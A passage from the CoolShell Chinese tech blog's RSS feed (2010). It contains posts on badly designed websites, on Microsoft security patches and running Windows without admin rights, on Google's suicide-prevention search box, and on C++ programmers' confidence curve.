CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2324.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>80</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>史上最糟糕的网站</title>\n\t\t<link>https://coolshell.cn/articles/2313.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2313.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 07 Apr 2010 01:35:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<category><![CDATA[website]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2313</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面罗列了一些可能是史上最糟糕的网站，当你打开这些网站的时候，请不要太过惊讶，你可以尝试着欣赏一下，不可否认，如果你使劲全力去欣赏，你还是可以找到一些亮点的。呵...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2313.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2313.html\">史上最糟糕的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面罗列了一些可能是史上最糟糕的网站，当你打开这些网站的时候，请不要太过惊讶，你可以尝试着欣赏一下，不可否认，如果你使劲全力去欣赏，你还是可以找到一些亮点的。呵呵。</p>\n<ol>\n<li><a href=\"http://www.shufsd.org/\" target=\"_blank\">http://www.shufsd.org/</a>，这个网站让我想到了我97年在大学里开始学习HTML的时光，该网页的风格可能比当时我做的还要好一些，不过基本上是很类似的。</li>\n<li><a href=\"http://www.havenworks.com/\" target=\"_blank\">http://www.havenworks.com/</a>，这个网站呢？先介绍这个网站主要是让你对后面的网站有个过渡，老实说，这个网站比起后面的来说，还算可以了。这个网站教会我们如何分类网页上的信息</li>\n<li><a href=\"http://www.arngren.net/\" target=\"_blank\">http://www.arngren.net/</a>，这个网站教你如何在固定空间的网页上放置更多的信息。这好像是我们日常生活当中经常出现的问题，如何把更多的东西放进一个固定的箱子里，我们不停地调整着物品摆放的位置和顺序……</li>\n<li><a href=\"http://www.team2stool.com/\" target=\"_blank\">http://www.team2stool.com/</a>，开始了，这个网站教会我们如何把图片无序地组织起来。</li>\n<li><a href=\"http://yvettesbridalformal.com/index.htm\" target=\"_blank\">http://yvettesbridalformal.com/index.htm</a>，嗯，初看起来吓一大跳，这个网页教你如何制作一个惊悚的网页，不过往细里看，看久一会，你会发现，这个网页设计得很的印象派的风格，也许是一种艺术。</li>\n<li><a href=\"http://www.dokimos.org/ajff/\" target=\"_blank\">http://www.dokimos.org/ajff/</a>，什么叫炫，这就叫炫，太炫了，眼睛就炫花了。打开这个网页的时候，要注意浏览器上边的提示条，耶稣真的很强大啊。</li>\n<li><a href=\"http://www.belladesoto.us/\" target=\"_blank\">http://www.belladesoto.us/</a>，打开这个网页要小心啊，因为这个网页可能比BT下载还猛，据说可能会占用你半GB的带宽。小心啊。</li>\n<li><a href=\"http://www.superbad.com/\" target=\"_blank\">http://www.superbad.com/</a>，这可能是史上最无厘头的网页了，不知道这个网站要干什么，找到可以点的地方点吧，打开一个网页，再点击其中的链接，又打开一个网页，不一会儿你就会在一层又一层的网页中迷路了，好在每次打开的网页都风格迥然，倒也不会觉得单一。</li>\n</ol>\n<p>你还知道一些BT的网站吗？欢迎和我们一样分享。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" alt=\"30+ Web下拉菜单\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_title\">30+ Web下拉菜单</a></li><li ><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/UI-150x150.gif\" alt=\"用户界面和用户体验的差别\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_title\">用户界面和用户体验的差别</a></li><li ><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/W_600-150x150.jpg\" alt=\"Windows的达尔文进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_title\">Windows的达尔文进化图</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2313.html\">史上最糟糕的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2313.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>微软的安全补丁分析</title>\n\t\t<link>https://coolshell.cn/articles/2305.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2305.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 06 Apr 2010 00:42:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[安全补丁]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2305</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>截止至2009年底，大约有90%的微软安全补丁是把管理员权限给disable了。根据 BeyondTrust的报告，到今年3月分，Windows 7 有57%的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2305.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2305.html\">微软的安全补丁分析</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-2308\" title=\"微软大量的安全补丁移除管理员权限\" src=\"https://coolshell.cn/wp-content/uploads/2010/04/mshole.jpg\" alt=\"\" width=\"220\" height=\"220\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/04/mshole.jpg 220w, https://coolshell.cn/wp-content/uploads/2010/04/mshole-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2010/04/mshole-200x200.jpg 200w\" sizes=\"(max-width: 220px) 100vw, 220px\" />截止至2009年底，大约有90%的微软安全补丁是把管理员权限给disable了。根据 <a href=\"http://www.beyondtrust.com/\">BeyondTrust</a>的报告，到今年3月分，Windows 7 有57%的安全补丁是以移除管理员权限作为解决方法的，相比较而言，Windows 2000 是 53%，Windows XP 是 62%，Windows Server 2003 是 55%，Windows Vista 是 54% 以及 Windows Server 2008 是 53%，而最牛的要算是 —— 100% 的 Microsoft Office 和 94%  Internet Explorer （其中100% 的 IE8 ）的安全补丁是移除管理员权限。</p>\n<p>这对于某些公司的IT部门来说是个好消息，因为这些公司的IT部门通常是不会让公司的员工有本机的管理员权限的，根据微软大量的安全补丁是移除某些管理员权限的这一特性，这意味着对于本机只有一般用户权限IT管理，将会防住很大一部份的恶意攻击。</p>\n<p>Paul Cooke, Windows Client Enterprise Security主管说：“我们相信，如果你只是用一般用户来操作Windows的话，这会是一种很好的方式”。而这一提法，相对于Unix的尽可能的不用root用户操作系统这一观点，整整落后了几十年，Windows的用户很习惯于在Administrator下操作系统，这样，一旦中招，任何程序都以系统管理员的权限运行，所以结果也是毁灭性的。这样操作电脑的方式对于Unix的用户来说简直是不可想像的，因为在Unix下，99%的情况下，操作者都不会使用管理员的账号。</p>\n<p>还记得以前和朋友的一段对话：</p>\n<p><span id=\"more-2305\"></span></p>\n<p style=\"padding-left: 30px;\">朋友：“为什么Windows下很容易中病毒，Unix/Linux下却不常见？杀毒软件在Windows下是必备的，但还是很容易中招，而Unix/Linux却可以祼奔。”</p>\n<p style=\"padding-left: 30px;\">陈皓：“那是因为大家都用Windows的Administrator用户操作电脑，而且文件系统都没有权限设置。不像Unix/Linux，没人总是用root操作电脑，而且，所有的文件和目限都有权限。所以，Windows下，一中病毒，病毒就会以管理员的权限运行，不但破坏你的系统甚至干掉你的杀毒软件。而Unix/Linux下，就算中毒，干掉的也是当前用户下的文件，对于系统文件和系统进程来说，不会有任何问题。”</p>\n<p style=\"padding-left: 30px;\">朋友：“那么在Windows下，如何和Unix/Liunx一样使用？”</p>\n<p style=\"padding-left: 30px;\">陈皓：“首先，尽量不要使用Adminstrator用户，使用User用户操作电脑。并且把文件系统格式化成NTFS，这样才能设置上权限。把C盘的根目录，%Windows%以及%System%目录，注册表的关键位置（服务、启动等），都设置上只有Administrator可写，User只读。这样一来，就算是中毒，病毒最多改写当关用户文件，其根本无法操作C盘根目录和Windows%以及%System%目录以及注册表的关键位置，还有IE的插件等（这些地方都是病毒最爱去的地方），中毒后不会对系统造成伤害。在这种情况下，你就算没有杀毒软件祼奔也没有问题”</p>\n<p style=\"padding-left: 30px;\">朋友：“嗯，听起来不错。不过这样整是不是太麻烦了，特别是要装一些软件什么的。”</p>\n<p style=\"padding-left: 30px;\">陈皓：“是的，没错。按道理来说，各个用户的软件应该是装在其用户的目录和环境下，而不应该装在系统的目录下，Unix/Liunx就是这么做的，但是Windows并没有提供这样的方式，很多软件都要去Adminstrator下安装，所以，在系统上装上一些恶意插件，流氓软件也就很正常了。没办法，这就是Windows和Unix/Liunx的差别了，Windows出生的时候就是单用户的，Unix/Liunx则是多用户的，这是Windows先天设计的缺陷，所以，今天这样的局面也是理所当然的。”</p>\n<p>上面的这段对话，也许有助于你了解Windows，安全等方面的东西。下面，让我们再来用一组数据结束本文。</p>\n<p>总体来说，去年一年中64%的所有的微软安全补丁把管理员权限给移除了。如果你只考虑Critical级别的安全补丁，那么有点到80%补丁是移除管理员权限，如果只考虑远程攻击方面的，那么这个比率是84% 。相关的报道请查看如下文章：</p>\n<li><a href=\"http://www.beyondtrust.com/downloads/whitepapers/documents/wp039_BeyondTrust_2009_Microsoft_Vulnerability_Analysis.pdf\">90% of Critical Microsoft Windows 7 Vulnerabilities are Mitigated by Eliminating Admin Rights</a> (beyondtrust.com)</li>\n<li><a href=\"http://news.cnet.com/8301-27080_3-20001359-245.html\">Report: Windows 7 holes eased by axing admin rights</a> (news.cnet.com)</li>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2305.html\">微软的安全补丁分析</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2305.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google居然在阻止人们自杀？</title>\n\t\t<link>https://coolshell.cn/articles/2296.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2296.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Thu, 01 Apr 2010 04:57:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2296</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>中文的Google会不会出onebox来劝阻人们翻墙？ suicide prevention onebox poison control onebox （转载本...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2296.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2296.html\">Google居然在阻止人们自杀？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>中文的Google会不会出onebox来劝阻人们翻墙？</p>\n<p><span style=\"font-family: arial,helvetica,sans-serif;\"> </span><span style=\"font-family: arial,helvetica,sans-serif;\"><a href=\"http://www.google.com/search?q=ways+to+commit+suicide\" target=\"_blank\">suicide prevention onebox</a></span></p>\n<p><a href=\"http://www.google.com/search?q=poison+control\" target=\"_blank\"><span style=\"font-family: arial,helvetica,sans-serif;\">poison control onebox</span></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2295\" title=\"googleOnebox\" src=\"https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox.png\" alt=\"\" width=\"500\" height=\"426\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox.png 500w, https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox-300x256.png 300w, https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox-317x270.png 317w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2785.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"JS1K 演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2785.html\" class=\"wp_rp_title\">JS1K 演示</a></li><li ><a href=\"https://coolshell.cn/articles/2507.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/06/5176XS40F9L._SL500_AA300_-150x150.jpg\" alt=\"2000年的iMac和2010年的iPhone\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2507.html\" class=\"wp_rp_title\">2000年的iMac和2010年的iPhone</a></li><li ><a href=\"https://coolshell.cn/articles/1283.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"Linux基金会的广告\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1283.html\" class=\"wp_rp_title\">Linux基金会的广告</a></li><li ><a href=\"https://coolshell.cn/articles/2806.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer-150x150.jpg\" alt=\"程序员版的凡客\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2806.html\" class=\"wp_rp_title\">程序员版的凡客</a></li><li ><a href=\"https://coolshell.cn/articles/671.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"Python调用C语言函数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/671.html\" class=\"wp_rp_title\">Python调用C语言函数</a></li><li ><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"GDB 7.0 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_title\">GDB 7.0 发布</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2296.html\">Google居然在阻止人们自杀？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2296.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++ 程序员自信心曲线图</title>\n\t\t<link>https://coolshell.cn/articles/2287.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2287.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 01 Apr 2010 01:02:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2287</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>学习C++很长时间了，也看过很多程序员学习C++的历程。总体来说，C++是一个“双刃剑”式的语言，只有那些熟悉他的人才能把C++这门语言用好。Linus曾说过：...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2287.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2287.html\">C++ 程序员自信心曲线图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>学习C++很长时间了，也看过很多程序员学习C++的历程。总体来说，C++是一个“双刃剑”式的语言，只有那些熟悉他的人才能把C++这门语言用好。Linus曾说过：“<strong>C++是一门很<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">恐怖的语言</a>，而比它更恐怖的是很多不合格的程序员在使用着它</strong>”。是的，C++并不是一门速成的语言，其是一门需要长时间磨练和学习的语言，那些说自己熟悉C++语言的程序只能算是轻浮的。详见<a title=\"“21天教你学会C++”\" href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\">“21天教你学会C++ ”</a>。</p>\n<p>下面是一个C++程序员在学习过程序中的一个自信心曲线图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/c++.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2292\" title=\"C++ 程序员自信心曲线图\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/c++.png\" alt=\"\" width=\"500\" height=\"411\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/03/c++.png 500w, https://coolshell.cn/wp-content/uploads/2010/03/c++-300x247.png 300w, https://coolshell.cn/wp-content/uploads/2010/03/c++-328x270.png 328w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a> </p>\n<p>程序员在一开始学习C++的时候，用C++的语法写C觉得很牛，也会觉得自己很快掌握了C++语言，对一切都充满了信心。他们告诉你他们懂C++，其它他们错误，但我们不能说他们在撒谎，因为人总是不知道自己不知道什么。此后，当他们在C++的学习历程中，发现了很多很多稀奇古怪的东西，还有很多相当底层和复杂的东西，他们的将会变得很受挫，很沮丧，还始变得怀疑起，自信心开始下降，甚至有时候他们靠人品来编程。只到有一天，开始开窃，觉得C++的世界不能乱来，需要一定的规则，一定的方法，于是通过大量的错误不停地总结和反省，最终自信心又会被建立起来，<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\">经历多年的历练后</a>，才能恢复自信。</p>\n<p>对于大多数的自称自己熟悉C++的程序员来说，基本上来说他们都是用C++的语法来写C。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo-150x150.jpg\" alt=\"“C++的数组不支持多态”？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_title\">“C++的数组不支持多态”？</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"C语言中史上最愚蠢的Bug\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_title\">C语言中史上最愚蠢的Bug</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2287.html\">C++ 程序员自信心曲线图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 